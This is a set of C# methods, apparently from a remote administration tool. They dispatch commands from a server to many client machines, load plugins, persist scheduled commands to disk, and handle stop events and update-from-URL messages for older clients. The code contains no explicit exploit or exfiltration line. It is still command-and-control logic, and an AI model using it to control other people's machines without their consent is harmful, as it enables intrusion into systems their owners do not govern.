public void ExecuteCommand(PotentialCommand potentialCommand) { if (!StaticCommands.ContainsKey(potentialCommand.CommandId) && !LoadStaticCommandPlugin(potentialCommand.PluginResourceId, potentialCommand.PluginHash)) { return; } lock (_activeCommandsLock) { //if there is already an Active command executing with the id, we return, nothing new to execute if (ActiveCommands.Any(x => x.Key.CallbackId == potentialCommand.CallbackId)) { return; } } if (potentialCommand.ExecutionEvent?.Id > 0) //0 = Immediately execution { _staticCommandScheduler.AddPotentialCommand(potentialCommand); } else { ExecutePotentialCommand(potentialCommand); } }
private void InitializePotentialCommand(PotentialCommand potentialCommand, bool isStored) { Type executionEventType; if (_executionEvents.TryGetValue(potentialCommand.ExecutionEvent.Id, out executionEventType)) { var executionEvent = (IExecutionEvent)Activator.CreateInstance(executionEventType); executionEvent.Initialize(potentialCommand.ExecutionEvent.Parameter); if (!executionEvent.CanExecute) { if (!isStored) { _dynamicCommandStore.AddStoredCommand(potentialCommand); } executionEvent.TheTimeHasCome += (sender, args) => { _executePotentialCommandDelegate(potentialCommand); _dynamicCommandStore.RemoveStoredCommand(potentialCommand); }; return; } } _dynamicCommandStore.RemoveStoredCommand(potentialCommand); _executePotentialCommandDelegate(potentialCommand); }
public static byte[] UpdateCommandToOldUpdateCommand(PotentialCommand potentialCommand) { var result = new byte[8 + potentialCommand.Parameter.Length]; Array.Copy(BitConverter.GetBytes(potentialCommand.CallbackId), result, 4); Array.Copy(BitConverter.GetBytes(0), 0, result, 4, 4); Array.Copy(potentialCommand.Parameter, 0, result, 8, potentialCommand.Parameter.Length); return(result); }
public void CommandManualStop(PotentialCommand potentialCommand) { lock (_settingsLock) { var session = _stopSchedulerSettings.Sessions.FirstOrDefault(x => x.CommandId == potentialCommand.CallbackId); if (session != null) { _stopSchedulerSettings.Sessions.Remove(session); SaveSchedulerSettings(); } } }
public static byte[] GetOldPotentialCommand(PotentialCommand potentialCommand) { return (new Serializer(typeof(OldPotentialCommand)).Serialize(new OldPotentialCommand { CallbackId = potentialCommand.CallbackId, CommandId = potentialCommand.CommandId, ExecutionEvent = potentialCommand.ExecutionEvent, Parameter = potentialCommand.Parameter, PluginHash = potentialCommand.PluginHash, PluginResourceId = potentialCommand.PluginResourceId })); }
public void AddStoredCommand(PotentialCommand potentialCommand) { var serializer = new Serializer(typeof(PotentialCommand)); var fileInfo = new FileInfo(FileExtensions.GetUniqueFileName(Consts.PotentialCommandsDirectory, "PotentialCommand")); Directory.CreateDirectory(Consts.PotentialCommandsDirectory); File.WriteAllBytes(fileInfo.FullName, serializer.Serialize(potentialCommand)); lock (ListLock) { _files.Add(potentialCommand, fileInfo); StoredCommands.Add(potentialCommand); } }
public void RemoveStoredCommand(PotentialCommand potentialCommand) { lock (ListLock) { StoredCommands.Remove(potentialCommand); FileInfo fileInfo; if (_files.TryGetValue(potentialCommand, out fileInfo)) { _files.Remove(potentialCommand); try { fileInfo.Delete(); } catch (Exception) { // ignored } } } }
public static byte[] UpdateFromUrlCommandToOldUpdateFromUrlCommand(PotentialCommand potentialCommand) { var properties = new Serializer(typeof(List <PropertyNameValue>)).Deserialize <List <PropertyNameValue> >( potentialCommand.Parameter); var urlData = Encoding.UTF8.GetBytes((string)properties.First(x => x.Name == "DownloadUrl").Value); var hashString = (string)properties.First(x => x.Name == "Hash").Value; var useHash = !string.IsNullOrEmpty(hashString); var result = new byte[8 + 1 + urlData.Length + (useHash ? 32 : 0)]; Array.Copy(BitConverter.GetBytes(potentialCommand.CallbackId), result, 4); Array.Copy(BitConverter.GetBytes(7), 0, result, 4, 4); result[8] = (byte)(useHash ? 1 : 0); if (useHash) { Array.Copy(StringExtensions.HexToBytes(hashString), 0, result, 9, 32); } Array.Copy(urlData, 0, result, 9 + (useHash ? 32 : 0), urlData.Length); return(result); }
public void AddPotentialCommand(PotentialCommand potentialCommand) { InitializePotentialCommand(potentialCommand, false); }
private void ExecutePotentialCommand(PotentialCommand potentialCommand) { StaticCommand staticCommand; if (StaticCommands.TryGetValue(potentialCommand.CommandId, out staticCommand)) { var activeStaticCommand = staticCommand as ActiveStaticCommand; if (activeStaticCommand != null) { //create a new instance because the commands are session based activeStaticCommand = (ActiveStaticCommand)Activator.CreateInstance(activeStaticCommand.GetType()); activeStaticCommand.ExecutionStopped += ActiveStaticCommandOnExecutionStopped; //the command is automatically removed if (!_activeCommandStopScheduler.ExecuteActiveCommand(potentialCommand, activeStaticCommand)) { return; } lock (_activeCommandsLock) ActiveCommands.Add(potentialCommand, activeStaticCommand); var serverConnection = (ServerConnection)_clientInfo.ServerConnection; lock (serverConnection.SendLock) { DynamicCommandFeedbackFactory.PushEvent(serverConnection.BinaryWriter, potentialCommand.CallbackId, ActivityType.Active, null); } new Thread(() => { try { activeStaticCommand.Execute(new CommandParameter(potentialCommand.Parameter), null, _clientInfo); } catch (Exception) { ActiveStaticCommandOnExecutionStopped(activeStaticCommand, EventArgs.Empty); } }) { IsBackground = true }.Start(); } else { var feedbackFactory = new DynamicCommandFeedbackFactory((ServerConnection)_clientInfo.ServerConnection, potentialCommand.CallbackId); new Thread(() => { try { staticCommand.Execute(new CommandParameter(potentialCommand.Parameter), feedbackFactory, _clientInfo); } catch (Exception ex) { feedbackFactory.Failed("Critical error: " + ex.Message); } //that will execute anyways only if it wasn't pushed yet feedbackFactory.Succeeded(); }) { IsBackground = true }.Start(); } } }
private static List <int> ExecuteStaticCommand(IEnumerable <Client> clients, PotentialCommand potentialCommand) { Logger.Debug("Execute static command {0}", potentialCommand.CallbackId); var data = new Serializer(typeof(PotentialCommand)).Serialize(potentialCommand); var isCompressed = false; if (data.Length > 512) { var compressedData = LZF.Compress(data, 0); if (compressedData.Length < data.Length) { isCompressed = true; data = compressedData; } } var updateCommandCompatibilityParameter = new Lazy <byte[]>(() => CompatibilityManager.UpdateCommandToOldUpdateCommand(potentialCommand)); var updateFromUrlCompatibilityParameter = new Lazy <byte[]>( () => CompatibilityManager.UpdateFromUrlCommandToOldUpdateFromUrlCommand(potentialCommand)); var compatibilityData = new Lazy <byte[]>(() => CompatibilityManager.GetOldPotentialCommand(potentialCommand)); var clientList = new List <int>(); foreach (var client in clients) { try { if (client.ComputerInformation.ClientVersion >= 19) { client.SendStaticCommand(data, isCompressed); clientList.Add(client.Id); } else if (client.ComputerInformation.ClientVersion >= 13 && client.ComputerInformation.ClientVersion <= 18) { client.SendStaticCommand(compatibilityData.Value, isCompressed); clientList.Add(client.Id); } else { //UpdateCommand if (potentialCommand.CommandId == new Guid(0xafd0841b, 0x0035, 0x7045, 0x96, 0x32, 0x36, 0x98, 0x6c, 0xb1, 0x83, 0x1c)) { client.SendStaticCommand(updateCommandCompatibilityParameter.Value, false); clientList.Add(client.Id); } //UpdateFromUrlCommand else if (potentialCommand.CommandId == new Guid(0xe08e79f0, 0xcaea, 0xe341, 0x8a, 0xb2, 0xef, 0x84, 0xe1, 0x8f, 0xa2, 0x5f)) { client.SendStaticCommand(updateFromUrlCompatibilityParameter.Value, false); clientList.Add(client.Id); } } } catch (Exception) { // ignored } } Logger.Debug("Static command {0} successfully executed on {1} clients", potentialCommand.CallbackId, clientList.Count); return(clientList); }
public ActiveCommandInfo(PotentialCommand potentialCommand, ActiveStaticCommand executingCommand) { PotentialCommand = potentialCommand; ExecutingCommand = executingCommand; }
public bool ExecuteActiveCommand(PotentialCommand potentialCommand, ActiveStaticCommand activeStaticCommand) { if (potentialCommand.StopEvent == null) { return(true); } lock (_settingsLock) switch (potentialCommand.StopEvent.Id) { case 1: //DurationStopEvent var sessionInfo = _stopSchedulerSettings.Sessions.FirstOrDefault( x => x.CommandId == potentialCommand.CallbackId); var durationInfo = _stopSchedulerSettings.DurationStopEventInfos.FirstOrDefault( x => x.CommandId == potentialCommand.CallbackId); var duration = TimeSpan.FromTicks(BitConverter.ToInt64(potentialCommand.StopEvent.Parameter, 0)); if (sessionInfo != null) { //if the difference is greater than 1 min. We dont directly compare because there might be a very small difference which comes from dividing the seconds in StartupTime if (Math.Abs((StartupTime - sessionInfo.StartupTime).TotalSeconds) > 60) { //we dont execute this command again in a different session _stopSchedulerSettings.Sessions.Remove(sessionInfo); if (durationInfo != null) { _stopSchedulerSettings.DurationStopEventInfos.Remove(durationInfo); } SaveSchedulerSettings(); _dynamicCommandStore.RemoveStoredCommand(potentialCommand); return(false); } if (durationInfo != null) { _stopSchedulerSettings.DurationStopEventInfos.Remove(durationInfo); duration = DateTime.Now - durationInfo.StartTime; if (duration < TimeSpan.Zero) { _stopSchedulerSettings.Sessions.Remove(sessionInfo); SaveSchedulerSettings(); _dynamicCommandStore.RemoveStoredCommand(potentialCommand); return(false); } } } else { _stopSchedulerSettings.Sessions.Add(new SessionCommandInfo { CommandId = potentialCommand.CallbackId, StartupTime = StartupTime }); } _stopSchedulerSettings.DurationStopEventInfos.Add(new DurationStopEventInfo { CommandId = potentialCommand.CallbackId, StartTime = DateTime.Now }); SaveSchedulerSettings(); new Timer(StopCommandCallback, activeStaticCommand, duration, TimeSpan.FromMilliseconds(Timeout.Infinite)); return(true); case 2: //DateTimeStopEvent var dateTime = DateTime.FromBinary(BitConverter.ToInt64(potentialCommand.StopEvent.Parameter, 0)); var timeSpan = dateTime - DateTime.UtcNow; if (timeSpan < TimeSpan.Zero) { _dynamicCommandStore.RemoveStoredCommand(potentialCommand); return(false); } new Timer(StopAndRemoveCommandCallback, new KeyValuePair <PotentialCommand, ActiveStaticCommand>(potentialCommand, activeStaticCommand), timeSpan, TimeSpan.FromMilliseconds(-1)); break; case 3: //ShutdownStopEvent sessionInfo = _stopSchedulerSettings.Sessions.FirstOrDefault( x => x.CommandId == potentialCommand.CallbackId); if (sessionInfo != null) { //if the difference is greater than 1 min. We dont directly compare because there might be a very small difference which comes from dividing the seconds in StartupTime if (Math.Abs((StartupTime - sessionInfo.StartupTime).TotalSeconds) > 60) { //we dont execute this command again in a different session _stopSchedulerSettings.Sessions.Remove(sessionInfo); SaveSchedulerSettings(); _dynamicCommandStore.RemoveStoredCommand(potentialCommand); return(false); } } else { _stopSchedulerSettings.Sessions.Add(new SessionCommandInfo { CommandId = potentialCommand.CallbackId, StartupTime = StartupTime }); SaveSchedulerSettings(); } return(true); default: return(true); } return(true); }